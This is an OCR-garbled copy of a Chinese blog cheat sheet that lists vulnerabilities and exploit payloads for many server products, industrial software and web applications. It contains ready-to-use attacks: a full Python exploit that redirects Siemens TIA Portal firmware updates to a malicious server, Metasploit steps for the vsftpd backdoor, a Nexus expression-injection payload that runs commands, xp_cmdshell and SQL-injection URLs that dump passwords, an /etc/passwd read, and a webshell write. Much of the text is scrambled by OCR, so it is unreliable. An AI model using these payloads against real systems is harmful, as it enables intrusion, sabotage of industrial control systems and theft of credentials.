P %2 & - 7 - IR CVER

weixin 30865427 F 2019-07-01 14:58:00 &K A7 589 W 2
L EARE: thEE§§QY¢QD

JECBEREE:  httpy//www.cnblogs.conyAtesetEnginner/p/11114092 . html

RRA

jira

ssrf CVE-2019-8451

url = url + '/plugins/servlet/gadgets/makeRequest?url=" + host + '@www.baidu.com/'

ImageMagick

RCE
CVE-2016-3714

axis2

FO4
SO

Awstats

B 55

http://www.xx.com.cn/cgi-bin/awstats.pl?config=xxx
CCS
EA

HFS

RCE

phpmyadmin
a4
phpmoadmin

RCE

node.js

node.js v8 debugger RCE


https://blog.csdn.net/weixin_30865427
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/AtesetEnginner/p/11114092.html

Elasticsearch

RCE
RIZALYT ]
AR SR ER

OpenSSLDrown

OpenSSL 1.0.1 through
1.0.1g OpenSSL 1.0.0 through 1.0.01 all versions before OpenSSL 0.9.8y
DROWNX ¥ (CVE-2016-0800)

Openssh

libsshikiE4eid (cve-2018-10933)
ibssh ©.8.x - 0.8.3

libssh ©.7.x - 0.7.5

libssh 0.6.x"

Kubernetes
Kubernetes Kubernetes#2i{ (CVE-2018-1002105)

Kubernetes v1.0.x-1.9.x Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11)
Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5) Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)

zabbix

latest sqliEFARIHE
jsrpc sqliEAIRH

activemq

FEFHO4

RCE

B L5
ActiveMQ¥HE B2 MR

Fckeditor
https://www.jianshu.com/p/b0295978da77/fckeditor/editor/dialog/fck_about.html
/FCKeditor/_whatsnew.html
http://x.com/goldpen/editor/filemanager/browser/default/ #ittFEIFEAL M
Ho¥i 3 r]
http://www.xx.gov.cn/FCkeditor/editor/filemanager/upload/testl.html

VBt R EE EERFRARD.
http://www.xx.gov.cn/UploadFile/2.php;.gif

KingdEditor



XSS

LR

CuteEDitor

LAERH

B AR ASpx AR A

M EAfBICuteEditoriEi, MAFIFHIIS 6.0 TIRFHIREWebshell
WAF RS KBS 11S6 . OfFHTIRIE -> BB R EE 5T

Apache

Apache ActiveMQ 5.x ~ 5.14.0
ActiveMQIER MM M hIFTFH

Apache ActiveMQ 5.13.0MIRRA 2 Bl IFEE K 5L IR TR
ActiveMQR 754 IRIH (CVE-2015-5254)

Apache ActiveMQ5.14.0 - 5.15.2
ActiveMQ {5 B itIEIRE (CVE-2017-15709)

apache mod_jk apache mod_jk iy #Z#I48I§H (cve-2018-11759)

61616%% 1 (ActiveMQiE B BAFI%E )

hudson

ARGt 35

grafana

FO4

Openssh

CVE-2015-5600
CVE-2016-6515
CVE-2014-1692
CVE-2010-4478
CVE-2016-10009

LUV 2 B S VU B (S



b LVE-42VUlb-19VU8

7 CVE-2015-8325

8 CVE-2016-10012

9 CVE-2016-10010 (8D

View Code

Atlassian

1 CVE-2019-1158

View Code

docker

1 CVE-2018-15664

View Code

Siemens TIA Portal (STEP7)

RCE : CVE-2019-10915



#i#

# Exploit Title: Siemens TIA Portal remote command execution

# Date: 06/11/2019

# Exploit Author: Joseph Bingham

# CVE : CVE-2019-10915

# Advisory: https://www.tenable.com/security/research/tra-2019-33

7 # Writeup: https://medium.com/tenable-techblog/nuclear-meltdown-with-critical-ics-vulnerabilities-
8af3alal3eba

8 # Affected Vendors/Device/Firmware:

9 # - Siemens STEP7 / TIA Portal

10 ##

11

12 ##

13 # Example usage

14 # $ python cve_2019_ 10915 _tia_portal_rce.py

15 # Received '@{"sid":"ZF_W8SDLY3SCGExV9QZc1Z9-","upgrades":[],"pingInterval":25000, "pingTimeout":60000}"'
16 # Received '40'

17 # Received '42[" ",{"configType":{"key":"ProxyConfigType","defaultValue":0,"value":0}, "proxyAddress":

a v A W N R

{"key":"ProxyAddress", "defaultvalue":"","value":""},"proxyPort":

{"key":"ProxyPort","defaultVvalue":"","value":""}, "userName":
{"key":"ProxyUsername", "defaultVvalue":"","value":""},"password":
{"key":"ProxyPassword", "defaultvalue":"","value":""}},null]"’

18 ##

19

20 import websocket, ssl, argparse

21

22 parser = argparse.ArgumentParser()

23 parser.add_argument("target_host", help="TIA Portal host")

24 parser.add_argument("target_port", help="TIA Portal port (ie. 8888)", type=int)

25 parser.add_argument("update_server", help="Malicious firmware update server IP")

26 args = parser.parse_args()

27

28 host = args.target_host

29 port = args.target_port

30 updatesrv = args.update_server

31 ws = websocket.create_connection("wss://"+host+":"+port+"/socket.io/?EIO=3&transport=websocket&sid=",
sslopt={"cert_reqs": ssl.CERT_NONE})

32 #req = '42["cli2serv",{"moduleFunc":"ProxyModule.readProxySettings","data":"","responseEvent”:" "}]'
33 #req = '42["cli2serv",{"moduleFunc":"ProxyModule.saveProxyConfiguration","data":{"configType":
{"key":"ProxyConfigType","defaultValue":0,"value":1}, "proxyAddress":

{"key":"ProxyAddress", "defaultvValue":"","value":"10.0.0.200"}, "proxyPort":
{"key":"ProxyPort","defaultvValue":"","value":"8888"}, "userName" :

{"key":"ProxyUsername", "defaultVvalue":"","value":""}, "password":

{"key" :"ProxyPassword", "defaultVvalue":"","value":""}},responseEvent”:" "}]°'

34 req = 42["cli2serv",{"moduleFunc":"SoftwareModule.saveUrlSettings","data":
{"ServerUrl":"https://"+updatesrv+"/FWUpdate/","ServerSource":"CORPORATESERVER", "SelectedUSBDrive":"\\","U
SBDrivePath":"","downloadDestinationPath":"C:\\Siemens\\TIA

Admin\\DownloadCache", "isMoveDownloadNewDestination":true,"CyclicCheck":false, "sourcePath":"C:\\Siemens\\T
IA Admin\\DownloadCache","productionLine":"ProductionLinel”,"isServerChanged":true}, "responseEvent”:" "}]'
35 ws.send(req)

36

37 result = ws.recv()

38 print("Received '%s'" % result)



39

40 result = ws.recv()

41 print("Received '%s'" % result)
42

43 result = ws.recv()

44 print("Received '%s'" % result)

View Code

WinRAR

CVE-2018-2025 (WinRAR RCE)

=|
1 M.

2

3 WinRAR < 5.70 Beta 1

4

5 Bandizip < =6.2.0.0

6

7 1K (2345/%4%8) < = 5.9.8.10907
8

9 3604 < =4.0.0.1170

View Code

ghostscript

1 EHERA <= 9.23 (&fRE. &F8)



View Code

CVE-2017-8291

1 Ghostscript Ghostscript < 2017-04-26

View Code

Flash

CVE-2018-4878

1 THEHHE: https://github.com/Schelar/CVE-2018-4878.git
2
3 MR AN: Adobe Flash Player <= 28.0.0.137

View Code

Office

CVE-2017-11882 (RCE)



SN A) N

Office 365

Microsoft Office 2000

Microsoft Office 2003

Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016

00 N O v A W N R

View Code

vsftpd

vsftpd 2.3.4 - ZBIFRA

msfconsole

search vsftpd

use exploit/unix/ftp/vsftpd_234 backdoor
set rhost IP

run

A v W N R

View Code

memcache

EH®O 11211
KB 1)



memcache memcache drdosiiF ( B6-2018-030102)

1.4.31 memcache Memcached Append/prepend ZFEMREHMATIRIN (CVE-2016-8704)
1.4.31 memcache Memcache Update mFEMEMATIRIN (CVE-2016-8705)

1.4.31 memcache Memcache SASLEHRAETRERILHATIRIE (CVE-2016-8706)
jenkins

HHANO 8080
RIZALY 1]
RFEFIL
cve-2017-1000353
CVE-2018-1999002

GeoServer

1.5504%

Javascript is required to actually use the GeoServer admin console. - ¥ ¥ HE|w]
(ELERAYE

2.XXE (BRA/NF2.7.1.1)

ccproxy



ccproxy6. QiR H

solr

REA Vi

CVE-2017-12629 XXE & RCE

CVE-2019-0193 RCE

Secure File Transfe

version <= 0.18
CVE-2015-2856
CVE-2015-2857

version <= 0.20
CVE-2016-2350
CVE-2016-2351
CVE-2016-2352
CVE-2016-2353

EWREER

ksapi.sysStREM B REY, FHETRF



webTextbox%i i 8%

cookiefk ¥

WebEditor

R A
http://nel.xx.com//main/model/newsoperation/webEditor/eWebEditor.jsp

Nexus

CVE-2019-7238

{"action":"coreui_Component", "method":"previewAssets","data":[{"page":1,"start":0,"1limit":50,"sort":
[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositioryName","value":"*"
{"property":"expression","value":"1.class.forName('java.lang.Runtime"').getRuntime().exec('calc.exe')"},
{"property":"type","value":"jex1"}]1}], "type":"rpc","tid":10}

POST /service/exdirect HTTP/ L1 & HTTP/LI2000K

mq-w- Content-Length: 114

User-Agant. Mozilla/5.0 (Windows NT 100 Winéd: x64 rv68.0) Content-Type: application jsoncharset=utf-5

Gecko/20100101 Firefox/68.0 Date: Tue 03 Sep 2019 12:11.25 GMT

Accept H* Server: Nexus/3.14.0-04 (055)

Accepi-Language X-Content-Type-Options. nosniff

2h-CN zh g=0.82h-TW.q=07:2h-HK:q=05.en-Us g=0.3 en g=0.2

Accept-Encoding: gzip, deflate [ ction* " coreui_Component’ ‘method" “presienéssets', result® ('s
H-Nexus-Ul: true uccess"true,"data"null],"type" "rpc"]

NX-ANTI-CSRF-TOKEN: 5050757 1- 03fd-4c00-018d-020c3ddd T ea
Content-Type: application/json

X-Requested-With: XL HttpRequest

Content-Length 356

Connection: keep-alive

Referer. hitpim—

Cookie: NX~ANTI-CSRF-TOKEN=50587571-03fd-4c90-018d-029c3d4dsTea

{"action""coreui Compenent”,"method""previewAssets","data"[{"page" 1"
start”. 0 "limit" 50,"sort" [{"property" name","direction”:"A5C"]] "flter" [{'oro
perty""repositioryhamne","value" "] 'property" "expression”, "value" *l.class

forName(java lang Runtime!) getRuntime(). exec('calc exe)").'propert," "ty
e ralue® jex" [ type"rpc " 10]




i# X 0A

Office Anywhere MEZEEENIARS
AR AR, W UASTEENREFRBphpmyadmin HAR Aroot
/mysqgl/main.php

J5 K 0A

RCE
http://**.*¥* . ** **:8080/ServiceAction/com.velcro.base.DataAction?sql=xp_cmdshell%20%27whoami%27

B

#iE 11.6.2

AL

http://127.0.0.1/zentaopms_11.6/www/api-getModel-user-getRealNameAndEmails-users=admin

EA
http://127.0.0.1/zentaopms_11.6/www/api-getModel-api-sql-sql=select+account,password+from+zt_user
R

http://127.0.0.1/zentaopms_11.6/www/api-getModel-file-parseCSV-fileName=/etc/passwd

RCE

& Load UAL hittp:/#172.20.10.5/zentacpms_1 1.6/ www/api-getModel-editor-save-filePath=/tmp/1234
§ soiuAL

+) Exscuta "
Post data Referer User Agent Cookies Clear Al

fileContent=<?php phpinfo(?>



ECShop

AR IR
http://localhost/ECShop/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-
scripts/spellchecker.php

RCE

http://localhost/test/ecshop/affiche.php?
act=js&type=3&from=xxx&ad_id=1&charset=GBK%0D%0OA%0OD%OAHTTP/1.1%20200%200K%0D%0A%0D%0AContent -
Type:%20text/html%0D%0A%OD%OAContent-Length :%2035%0D%0A%OD%0A%3Chtml%3Exxx%3C/html%3E%OD%0A%0OD%0A

FasterXML

Jackson-databind
CVE-2019-12384 (RCE)
ZR MR A
Jackson-databind 2.X < 2.9.9.1
A SZ R R A
Jackson-databind 2.9.9.1
Jackson-databind 2.10

3, T :https://www.cnblogs.com/AtesetEnginner/p/11114092.html
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